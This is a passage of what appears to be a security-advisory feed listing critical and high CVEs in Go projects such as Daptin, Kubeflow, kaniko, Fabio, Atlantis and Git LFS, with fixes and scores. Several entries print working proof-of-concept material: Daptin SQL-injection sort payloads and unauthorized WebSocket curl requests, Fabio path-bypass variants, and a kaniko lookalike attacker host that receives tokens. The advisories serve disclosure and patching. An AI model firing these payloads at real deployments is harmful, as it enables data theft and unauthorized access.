32-bit result = (0xfffffff5 + 14) mod 2^32 = 3
The allocation is therefore three bytes. actual_data points 14 bytes after the allocation base. The fixture contains 64 bytes after the ICO header, so the source callback copies those 64 bytes to an invalid destination before it can report that the declared multi-gigabyte payload is incomplete.
The complete source-to-sink path is:
- Attacker-controlled bytes begin with the ICO magic
00 00 01 00. - imgproxy identifies the source as ICO and dispatches it to
vips_icoload_source_go. vips_foreign_load_ico_headerreads the attacker-controlleddata_size.- The 32-bit addition wraps, and
VIPS_MALLOCreceives the value three. vips_foreign_load_read_fullpasses the originaldata_sizeto the Go source callback.- The callback writes the available source bytes through the invalid pointer, corrupting the process heap.
Impact
A crafted image can terminate the imgproxy process handling it or potentially lead to remote code execution due to heap corruption.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 9.8 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Versions
- >= 4.0.0, < 4.0.16 · fixed in 4.0.16
- Weakness
- CWE-122, CWE-190
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Oct 30, 2026 · first seen here 1 min ago
CVSS score: 9.6 Severity: Critical Identifier: CVE-2026-77369GHSA-WJ7X-58C2-5793 Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint Package: github.com/daptin/daptin fixed in 0.12.30 Published Published
Summary
Daptin registers a generic WebSocket endpoint, GET /yjs/:documentName, for real-time collaborative
document editing (YJS/CRDT). Unlike its purpose-built sibling route, this generic endpoint performs
no per-resource authorization check - it only verifies that some user session exists. Because the
document store parses :documentName as typename.referenceId.columnName and fetches that row's
real column content unconditionally, any authenticated user (including a brand-new, zero-privilege,
self-registered account) can read - and, since YJS sync is bidirectional, also write - the content
of any file.*-typed column on any row of any table, including tables that are admin-only by
default.
Details
InitializeYjsResources (server/endpoint_yjs.go) registers two routes.
The purpose-built, correctly-secured route, registered once per file.*-typed column on every
table:
// server/endpoint_yjs.go:47-113 (abridged)
path := fmt.Sprintf("/live/%v/:referenceId/%v/yjs", typename, columnInfo.ColumnName)
...
return func(ginContext *gin.Context) {
sessionUser := ...
if sessionUser == nil { ginContext.AbortWithStatus(403); return }
...
object, _, getErr := cruds[typename].GetSingleRowByReferenceIdWithTransaction(typename, parsedId, nil, tx)
if getErr != nil { ginContext.AbortWithStatus(404); return }
...
objectPermission := cruds[typename].GetRowPermission(object, tx2)
if !objectPermission.CanUpdate(user.UserReferenceId, user.Groups, cruds[typename].AdministratorGroupId) {
ginContext.AbortWithStatus(401)
return
}
roomName := fmt.Sprintf("%v%v%v%v%v", typename, ".", referenceId, ".", columnInfo.ColumnName)
...
yjsConnectionHandler(ginContext.Writer, ginContext.Request)
}
This route correctly requires a session, loads the actual row, and checks
objectPermission.CanUpdate(...) for the specific requesting user before allowing the WebSocket
upgrade.
A second, generic route is registered right above it, with none of those checks:
// server/endpoint_yjs.go:27-38
defaultRouter.GET("/yjs/:documentName", func(ginContext *gin.Context) {
sessionUser := ginContext.Request.Context().Value("user")
if sessionUser == nil {
ginContext.AbortWithStatus(403)
return
}
yjsConnectionHandler(ginContext.Writer, ginContext.Request)
})
The only gate here is "is some session present" - there is no lookup of the referenced row, no
GetRowPermission, no CanUpdate/CanRead check at all. :documentName is taken verbatim from
the URL and handed straight to yjsConnectionHandler.
The YJS document store's content provider parses documentName using exactly the
typename.referenceId.columnName convention the secure route builds internally as roomName, and
uses it to fetch the real row from the database with no authorization check of its own:
// server/yjs_doucment_provider.go:41-115 (abridged)
ydb.WithInitialContentProvider(func(documentPath string) []byte {
pathParts := strings.Split(documentPath, ".")
typeName, referenceId, columnName := pathParts[0], pathParts[1], pathParts[2]
crud := cruds[typeName]
object, _, getErr := crud.GetSingleRowByReferenceIdWithTransaction(typeName, parsedId,
map[string]bool{columnName: true}, tx)
...
// decodes and returns the actual file/column content, base64-decoded, as the
// initial content of the shared collaborative document
})
Because the generic route performs no permission check, any authenticated user can supply
documentName = "<any table>.<any reference_id>.<any file.* column>" and the initial YJS sync will
serve them that row's real content - including rows whose table has DefaultGroups: adminsGroup
(admin-only by default, e.g. the built-in calendar table) or rows an ordinary user's own row-level
permissions would otherwise forbid them from reading. Since YJS sync is bidirectional, a connected
client can also push edits, which legitimate collaborators may later pull back in through the
correctly secured /live/... route, giving a write/corruption path as well as a read path.
PoC
Built and ran current HEAD in a clean container; created two accounts (admin@admin.com, first
signup -> admin; bob@bob.com, second signup -> ordinary, non-admin user with default permissions
only):
# 1) Generic endpoint accepts ANY authenticated session for ANY document name,
# including a syntactically-valid-but-nonexistent reference_id on an admin-only table:
curl -i -N \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 101 Switching Protocols <-- ACCEPTED, no ownership/permission check at all
# 2) The purpose-built, secured sibling route correctly validates the very same identifier:
curl -i -N \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/live/calendar/deadbeef-0000-0000-0000-000000000000/content/yjs"
# => HTTP/1.1 404 Not Found <-- looks the row up, would 401 if it existed and Bob lacked access
# 3) Sanity check: the generic endpoint DOES require *some* session (not fully unauthenticated) --
# the flaw is specifically the missing per-resource check, not a missing session check:
curl -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 403 Forbidden
bob@bob.com has zero relationship to the calendar table (whose DefaultGroups is adminsGroup
- admin-only by default) or to the fabricated reference ID, yet the generic route unconditionally
upgrades the connection for him. Any real row'stypename.referenceId.columnName- reference IDs
routinely appear in ordinary list/read API responses even when the sensitive column itself is
restricted - is enough to pull that column's actual content through this side channel, fully
bypassing the row/column permission system that the sibling/live/...route (and the rest of
Daptin's permission model) correctly enforces.
Impact
- Confidentiality: any signed-up user, including a brand-new self-registered account with no
group memberships, can read the live content of anyfile.*-typed column on any row of any
table - including tables that are admin-only by default (e.g.calendar) and rows whose
row-level permissions would otherwise block that user - by supplying the right
typename.referenceId.columnNametriple toGET /yjs/:documentName. - Integrity: because YJS sync is bidirectional CRDT replication, the same low-privileged
connection can push edits into the shared document; those edits are visible to any legitimate
collaborator who later opens the same document through the correctly-secured/live/...route. - Who is impacted: every Daptin deployment with at least one
file.*-typed column (built-in
examples:calendar.content(file.ical), the generic document table'sdocument_content
(file.*), and any custom table an admin defines with afile.xxxcolumn type), since the
vulnerable route is registered generically for every such column across every table at startup.
Any user able to self-register (open signup is the default) is sufficient to exploit this.
Resolution
Fixed on the default branch in daptin/daptin@a1a3c48f. Canonical database-backed YJS rooms now use the same row lookup and existing PermissionInstance.CanUpdate/CanRead authorization for both /yjs/:documentName and /live/... routes. Update permission grants read-write access; read-only permission grants a read-only YJS session; unauthorized and missing resources fail closed with 404. Standalone non-canonical room names retain their existing authenticated, shared-by-name behavior. The initial-content provider now validates the exact canonical form, UUID, table, and file.* column before database access.
Read-only protocol enforcement is provided by artpar/ydb v0.4.1 (artpar/ydb@b79b01a), which fully consumes but drops all client YJS sync write subtypes while continuing to deliver history and broadcasts.
Verification included YDB race tests for all sync subtypes, concatenated-frame handling, persistence/broadcast suppression, catch-up, and connection continuity; Daptin permission/parser unit tests; the full Daptin test suite; server race tests; go vet; and a fresh-instance CLI/WebSocket exercise covering authentication, fail-closed canonical routes, standalone compatibility, and canonical/live cross-route relay.
No patched Daptin version is listed until a release containing a1a3c48f is published.
- Exploitation
- No known exploitation
- EPSS
- 0.45% chance of exploitation in the next 30 days, higher than 30.9% of CVEs
- CVSS
- 9.6 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Versions
- >= 0.11.4, < 0.12.30 · fixed in 0.12.30
- Weakness
- CWE-639, CWE-862, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 9.6 Severity: Critical Identifier: CVE-2026-77596GHSA-RJR3-43J3-4Q8G Kubeflow Pipelines API server lacks authorization for shared pipeline uploads Package: github.com/kubeflow/pipelines fixed in 0.0.0-20260909234119-62516d8c525f Published Published
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.18.0, the multi-user HTTP endpoints POST /apis/v2beta1/pipelines/upload and POST /apis/v2beta1/pipelines/upload_version call canUploadVersionedPipeline, which returns without SubjectAccessReview when the target namespace is empty while REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false. A low-privilege tenant can create shared pipelines or inject attacker-controlled versions into existing shared pipelines without the required write permission; if the API server is directly reachable without an authenticating proxy, an unauthenticated caller can exploit the same bypass, while deployments protected by such a proxy do not expose anonymous access. An enabled unpinned recurring run that follows the latest version can then execute the injected specification in another tenant's namespace under that workload's service account, while pinned or embedded-specification runs are not automatically substituted. This issue is fixed in version 2.18.0.
- Exploitation
- No known exploitation
- EPSS
- 0.45% chance of exploitation in the next 30 days, higher than 30.8% of CVEs
- CVSS
- 9.6 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Versions
- < 0.0.0-20260909234119-62516d8c525f · fixed in 0.0.0-20260909234119-62516d8c525f
- Weakness
- CWE-639, CWE-862
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 5, 2026 · first seen here 3 min ago
CVSS score: 9.6 Severity: Critical Identifier: CVE-2026-115770GHSA-RM8C-2CV8-JWF6 Pocket ID: Email verification token remains valid after address change, enabling arbitrary verified-email spoofing Package: github.com/pocket-id/pocket-id/backend fixed in 0.0.0-20260727180059-43aaccd5bfac Published Published
Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to services. From 2.2.0 until 2.12.0, SendEmailVerification uses the token model in backend/internal/model/email_verification_token.go to bind an email-verification token only to the user's identifier, while UpdateUser can change the account email without invalidating the outstanding token and VerifyEmail marks the current address as verified. An ordinary user can request a token for an address they control, change the account to an arbitrary unused address, and redeem the old token so Pocket ID publishes the new address with email_verified set to true. The default affected configuration uses emailsVerified=false and allowOwnAccountEdit=true; the target address must not already belong to another Pocket ID user. A relying application that trusts a verified email for automatic account matching or provisioning can link the attacker's identity to another user's account, while applications that rely exclusively on the stable OIDC sub claim are not affected by that downstream consequence. This issue is fixed in version 2.12.0.
- Exploitation
- No known exploitation
- EPSS
- 0.24% chance of exploitation in the next 30 days, higher than 9.5% of CVEs
- CVSS
- 9.6 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Versions
- < 0.0.0-20260727180059-43aaccd5bfac · fixed in 0.0.0-20260727180059-43aaccd5bfac
- Weakness
- CWE-345
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 4, 2026 · first seen here 3 min ago
CVSS score: 9.4
Severity: Critical
Identifier: CVE-2026-77367GHSA-HQ2P-F2VJ-V3CM
Daptin: Unauthenticated SQL Injection via the sort query parameter on every entity list endpoint
Package: github.com/daptin/daptin fixed in 0.12.30
Published Published
Summary
An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by
Daptin's generic entity list endpoint (GET /api/<entity>), which every table in a Daptin instance
exposes. The parameter is concatenated into raw SQL identifiers with no validation that the
referenced column exists, unlike a sibling code path in the same file that received exactly this
validation as the fix for a previously published advisory
(GHSA-rw2c-8rfq-gwfv).
Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to
blind/error-based extraction of data from tables the requester has no permission to read.
Details
PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go reads the sort
query parameter directly from the request with no validation:
// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
sortOrder = req.QueryParams["sort"]
Each entry is then concatenated with the table name and passed to goqu.I() (goqu's raw SQL
identifier constructor) in two separate places, with no check that the referenced column exists
on the table:
// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
...
if strings.Index(sort, "(") == -1 {
sort = prefix + sort
}
idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}
// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
...
orders = append(orders, goqu.I(ord).Asc())
}
goqu.I() renders its argument by wrapping it in the dialect's quote character (a backtick, in
this build's configured dialect) without escaping an embedded quote character of the same kind.
A backtick supplied in sort closes the identifier early, and the remainder of the attacker string
is parsed as raw SQL grammar rather than treated as inert column-name text.
This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated goqu.L() calls
in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines
later in the same file, in the fuzzy-search code path:
// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
if _, ok := tableInfo.GetColumnByName(col); ok {
validColumns = append(validColumns, col)
} else {
log.Warnf(...)
}
}
The identical validation was never applied to the base sort parameter handling earlier in the
same file. Unlike fuzzy search (which requires an explicit filter operator to reach), plain sort
is processed on every list request to every entity, authenticated or not.
PoC
Build current HEAD and run it with a fresh SQLite database and no custom schema:
go build -buildvcs=false -o daptin_bin .
./daptin_bin
No account needs to exist. world (and most default tables) are guest-readable, so all requests
below are sent with no Authorization header at all:
# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}
# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
# FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]
# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
--data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}
# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
--data-urlencode 'sort=`x'
done
# => 500 / 500 / 500
- Exploitation
- No known exploitation
- EPSS
- 0.68% chance of exploitation in the next 30 days, higher than 47.6% of CVEs
- CVSS
- 9.4 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H - Versions
- <= 0.12.29 · fixed in 0.12.30
- Weakness
- CWE-20, CWE-89
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 9.3 Severity: Critical Identifier: CVE-2026-105769GHSA-5Q7H-W9JF-CX97 kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts Package: github.com/chainguard-dev/kaniko fixed in 1.25.20 Published Published
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
- Exploitation
- No known exploitation
- EPSS
- 0.23% chance of exploitation in the next 30 days, higher than 8.7% of CVEs
- CVSS
- 9.3 out of 10 · source NVD (82cea9a6-e9e3-46fe-bdb0-3673de380178)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Versions
- < 1.25.20 · fixed in 1.25.20
- Weakness
- CWE-346, CWE-522
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Nov 2, 2026 · first seen here 3 min ago
CVSS score: 9.1 Severity: Critical Identifier: CVE-2026-104099GHSA-4HRH-34W3-5WW8 Fabio: Access-control bypass through unnormalized request paths Package: github.com/fabiolb/fabio fixed in 1.7.3 Published Published
Summary
Route selection uses the raw un-normalized request path, and the per-route ACL and basic-auth gates hang off that selection, so a dot-segment, encoded-dot, or double-slash variant of a protected path selects a different route, skips both gates, and is forwarded to the backend which normalizes and serves the protected resource. Unauthenticated; complete bypass of the access control the operator configured. Confirmed at HEAD b841544. Direct peers: Traefik CVE-2023-47106, Envoy CVE-2019-9901.
The defect
fabio never normalizes the request path. A repository-wide search for path.Clean returns zero results. Route selection uses the raw path (route/table.go line 487: if target = t.lookup(h, req.URL.Path, pick, match); target != nil {). Both access-control gates are properties of the target that lookup returned:
// proxy/http_proxy.go
if t.AccessDeniedHTTP(r) { // line 111, per-route allow / deny:ip ACL
http.Error(w, "access denied", http.StatusForbidden)
return
}
if !t.Authorized(r, w, p.AuthSchemes) { // line 116, per-route auth= basic auth
http.Error(w, "authorization failed", http.StatusUnauthorized)
return
}
and the same raw path is forwarded verbatim (Path: r.URL.Path at line 142). So /./admin/, /%2e/admin/, //admin/ and /x/../admin/ do not match the protected /admin route. They fall through to the catch-all / route, which carries no ACL and no auth, and fabio forwards the un-normalized path to the origin, which normalizes it and serves the protected resource.
Verification
Verified end to end against the real binary at HEAD, not a synthetic unit test. fabio was built and run with static routes against a python3 -m http.server origin, driven with curl --path-as-is: on a basic-auth route, /admin/ returned 401 without credentials and 200 with valid credentials (controls correct), while all four crafted paths returned 200 with the protected page and NO credentials; on an ACL route, /admin/ returned 403 and all four crafted variants returned 200.
Precondition, stated honestly: a less restrictive route must reach the same backend so the crafted path has somewhere to fall through to. That is exactly the two-tag urlprefix- shape fabio's own access-control documentation instructs operators to configure. Where no fallback route exists the request 404s instead.
Suggested fix
Normalize the path before route lookup: decode percent-encoded dot segments and apply path.Clean, then match. Whether the normalized or original path is forwarded upstream is a separate decision, but the LOOKUP must run on the normalized form, because the ACL and auth decisions are derived from it. Also lowercase and strip the port and any trailing dot from the request host before host matching. Secondary observations: X-Forwarded-Prefix is passed through from the client on non-strip routes; the gRPC proxy path never calls either authorization gate, so allow=/auth= on a proto=grpc route are silently unenforced.
Dedup note
The obvious residual of CVE-2025-48865 is already taken: CVE-2026-62987 / GHSA-fq95-v8xc-jm3v (published 2026-07-03) covers the Connection-header strip of proxy.header.clientip/tls/requestid, fixed in v1.7.2. Do not re-report that. The finding above is a different and independent defect.
Tooling
AI assistance was used while investigating. The bypass was reproduced against the real fabio binary with a live backend, including the 401-vs-200 and 403-vs-200 controls, and the reporter separately confirmed at HEAD that lookup takes req.URL.Path, that both gates derive from the returned target, that the raw path is forwarded, and that path.Clean appears nowhere in the repository.
The reporter manually verified this finding against the project's source at the location cited above before reporting it; the AI assistance noted above was for the audit and the drafting.
- Exploitation
- No known exploitation
- EPSS
- 0.53% chance of exploitation in the next 30 days, higher than 38.1% of CVEs
- CVSS
- 9.1 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Versions
- < 1.7.3 · fixed in 1.7.3
- Weakness
- CWE-289, CWE-41, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 8.8 Severity: High Identifier: CVE-2026-116676GHSA-RJH2-4XGW-P2HJ Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan Package: github.com/runatlantis/atlantis fixed in 0.47.1 Published Published
Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, " ") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.
- Exploitation
- No known exploitation
- EPSS
- 0.65% chance of exploitation in the next 30 days, higher than 45.8% of CVEs
- CVSS
- 8.8 out of 10 · source NVD (github.com)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Versions
- >= 0.4.0, <= 0.47.0 · fixed in 0.47.1
- Weakness
- CWE-78
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 27, 2026 · first seen here 4 min ago
CVSS score: 8.7
Severity: High
Identifier: CVE-2026-103025GHSA-7HVW-3C2Q-45QG
bep/imagemeta: Unbounded memory allocation decoding PNG zTXt "Raw profile type iptc" chunks
Package: github.com/bep/imagemeta fixed in 0.17.3
Published Published
A crafted PNG can make imagemeta.Decode allocate memory far in excess of the input file's size, leading to memory exhaustion. Two separate paths in the zTXt "Raw profile type iptc" branch are affected: the declared chunk length drives an allocation directly, and the embedded zlib stream is decompressed without an output bound. A 42-byte file allocated 256 MB, and a 127 KB file allocated 460 MB.
Impact
Denial of service by memory exhaustion against any application that decodes untrusted PNG images with this library. The decompression bomb is the more reliable vector, since it produces genuinely resident memory; the effect of the oversized make depends on the platform's overcommit behavior and any configured GOMEMLIMIT or cgroup limit.
Patches
Fixed in v0.17.3.
Workarounds
Reject or bound PNG input size before calling Decode, or clear IPTC from Options.Sources if IPTC metadata is not required.
Credits
Reported by Arpit Jain (@arpitjain099).
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.8% of CVEs
- CVSS
- 8.7 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Versions
- < 0.17.3 · fixed in 0.17.3
- Weakness
- CWE-409, CWE-789
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 8.7
Severity: High
Identifier: CVE-2026-62160GHSA-RHJ7-VH3V-MCQ6
Daptin: ParseAcceptLanguage _ separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware
Package: github.com/daptin/daptin (<= 0.12.15)
Published Published
Daptin is a GraphQL/JSON-API headless CMS. Prior to 0.12.26, the global LanguageMiddleware in server/language.go passes the raw Accept-Language header from LanguageMiddlewareFunc through GetLanguagePreference to golang.org/x/text/language.ParseAcceptLanguage without a size or shape filter. The guard for CVE-2022-32149 counts hyphens but not underscores, even though the internal parser normalizes underscores to hyphens. Long lists of underscore-separated language subtags longer than eight characters bypass the guard. These subtags fail the len <= 8 length check in golang.org/x/text/internal/language/parse.go, causing repeated gobble operations to move the entire remaining buffer through runtime.memmove. With many invalid subtags, this repeated buffer movement takes quadratic work. Unauthenticated requests to the public landing page or /api can consume disproportionate CPU, with a 256 KiB header already causing seconds of processing and larger input permitted by the default 1 MiB header ceiling. resource.CheckErr also logs the entire invalid header, amplifying cost, while normal successful HTTP responses can conceal the denial-of-service traffic. Repeated requests can saturate server CPU. This issue is fixed in version 0.12.26.
- Exploitation
- No known exploitation
- EPSS
- 0.47% chance of exploitation in the next 30 days, higher than 33.0% of CVEs
- CVSS
- 8.7 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- <= 0.12.15
- Weakness
- CWE-400, CWE-407
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 29, 2026 · first seen here 2 min ago
CVSS score: 8.6 Severity: High Identifier: CVE-2026-105803GHSA-X72P-HMQP-46HW Git LFS may execute arbitrary commands via crafted Git LFS configurations Package: github.com/git-lfs/git-lfs/v3 fixed in 3.8.1 Published Published
Impact
When fetching objects from a malicious repository, Git LFS may execute an arbitrary command or binary after failing to sufficiently restrict the set of configuration options defined in an .lfsconfig file in the repository.
Git LFS permits a limited set of configuration options to be defined in an .lfsconfig file at the root of a Git repository, but does not filter these options correctly if their keys contain certain additional components, which allows an attacker to mimic options that configure Git LFS to use a custom command to transfer objects. An attacker can then provide an arbitrary command which Git LFS will invoke when fetching objects.
Git LFS has resolved this issue by correctly restricting the configuration of custom object transfer commands to local Git configuration files.
Patches
This problem exists in all versions since 1.3.0 and is patched in v3.8.1. All users should upgrade to v3.8.1.
Workarounds
No single workaround exists other than to disable Git LFS entirely. As far as possible, users and administrators should avoid cloning repositories from untrusted sources.
For more information
If you have any questions or comments about this advisory:
- For general questions, start a discussion in the Git LFS discussion forum.
- For reports of additional vulnerabilities, please follow the Git LFS security reporting policy.
- Exploitation
- No known exploitation
- EPSS
- 0.61% chance of exploitation in the next 30 days, higher than 43.3% of CVEs
- CVSS
- 8.6 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Versions
- >= 3.0.0, < 3.8.1 · fixed in 3.8.1
- Weakness
- CWE-1286, CWE-777
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 8.6 Severity: High Identifier: CVE-2026-105802GHSA-XRGV-7VX6-5VX6 Git LFS may execute arbitrary commands via crafted Git configurations Package: github.com/git-lfs/git-lfs/v3 fixed in 3.8.1 Published Published
Impact
When fetching objects from a malicious repository, Git LFS may execute an arbitrary command or binary after incorrectly parsing the Git configuration options defined for a submodule.
Git LFS reads Git configuration options without checking for embedded line-ending control characters. By inserting control characters such as line feed (LF) into certain values, an attacker may be able to mimic options that cause Git LFS to execute an arbitrary command when fetching or adding objects.
Git LFS has resolved this issue by always using an unambiguous format to read and parse Git configuration options.
Patches
This problem exists in all versions since 0.6.0 and is patched in v3.8.1. All users should upgrade to v3.8.1.
Workarounds
To work around the problem, users should prevent Git from initializing any submodules by disabling the fetch.recurseSubmodules and submodule.recurse configuration options and by never running the git submodule init command. Any submodules which have already been initialized in a repository may be deactivated with the git submodule deinit command.
For more information
If you have any questions or comments about this advisory:
- For general questions, start a discussion in the Git LFS discussion forum.
- For reports of additional vulnerabilities, please follow the Git LFS security reporting policy.
- Exploitation
- No known exploitation
- EPSS
- 0.53% chance of exploitation in the next 30 days, higher than 38.1% of CVEs
- CVSS
- 8.6 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Versions
- >= 3.0.0, < 3.8.1 · fixed in 3.8.1
- Weakness
- CWE-144
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 5 min ago
CVSS score: 8.6 Severity: High Identifier: CVE-2026-62284GHSA-5W5G-J6HW-6P8F OSAC operator: Kubeconfig credential-plugin execution and SSRF in console proxy Package: github.com/osac-project/osac-operator fixed in 0.0.4 Published Published
OSAC operator is a Kubernetes operator. In the affected revision identified as 8220502, the console-proxy RemoteConfigResolver parses Kubernetes Secret kubeconfig data with clientcmd.RESTConfigFromKubeConfig without sanitizing the resulting rest.Config. An attacker who can create or modify a Secret labeled osac.openshift.io/remote-cluster-kubeconfig: "true" in a namespace where the proxy's RoleBinding grants Secret read access can supply users[].user.exec. When rest.TransportFor builds the HTTP transport for an upstream WebSocket connection, client-go invokes that exec credential plugin, spawning an arbitrary process as the osac-console-proxy service account inside the pod. Attacker-controlled clusters[].server also enables server-side request forgery from the proxy pod. Remote and auto VM cluster modes are affected, with auto the default; exclusively local mode does not read kubeconfig Secrets and is unaffected. The credential-plugin execution path is patched in commit 7e4222b; that patch does not address the described server-address SSRF path.
- Exploitation
- No known exploitation
- EPSS
- 0.64% chance of exploitation in the next 30 days, higher than 45.3% of CVEs
- CVSS
- 8.6 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- < 0.0.4 · fixed in 0.0.4
- Weakness
- CWE-918, CWE-94
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 3 min ago
